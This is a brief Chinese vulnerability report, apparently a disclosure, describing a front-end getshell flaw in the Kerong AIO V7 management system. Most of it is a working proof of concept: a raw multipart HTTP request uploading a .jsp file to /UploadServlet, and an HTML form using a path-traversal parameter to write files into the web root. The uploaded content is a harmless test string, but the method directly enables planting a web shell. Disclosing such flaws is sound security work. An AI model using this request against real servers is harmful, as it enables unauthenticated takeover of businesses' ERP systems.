科荣AIO管理系统AIO V7存在前台GETSHELL漏洞

http://**.**.**.**/ 进销存软件-ERP库存管理-仓库管理软件-科荣软件官网

http://**.**.**.**/download/aiov7.exe

POST /UploadServlet?path=/temp/&fileType=AFFIX HTTP/1.1
 Host: localhost:8000
 Proxy-Connection: keep-alive
 Content-Length: 433
 Origin: http://localhost:8000
 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
 Content-Type: multipart/form-data; boundary=----------cH2KM7cH2cH2ae0KM7GI3KM7ae0ae0
 Accept: */*
 Referer: 
 Accept-Encoding: gzip,deflate,sdch
 Accept-Language: zh-CN,zh;q=0.8
 Cookie: 
 
 ------------cH2KM7cH2cH2ae0KM7GI3KM7ae0ae0
 Content-Disposition: form-data; name="Filename"
 
 test.jsp
 ------------cH2KM7cH2cH2ae0KM7GI3KM7ae0ae0
 Content-Disposition: form-data; name="Filedata"; filename="test.jsp"
 Content-Type: application/octet-stream
 
 this is a test file
 ------------cH2KM7cH2cH2ae0KM7GI3KM7ae0ae0
 Content-Disposition: form-data; name="Upload"
 
 Submit Query
 ------------cH2KM7cH2cH2ae0KM7GI3KM7ae0ae0--

<form action="http://localhost:8000/UploadServlet?path=./../website/&fileType=AFFIX" method="post" enctype="multipart/form-data" name="upload">
 <input type="file" name="newfile">
 <input type="submit" name="Submit" value="upload">
 </form>

http://**.**.**.**:8008/  demo地址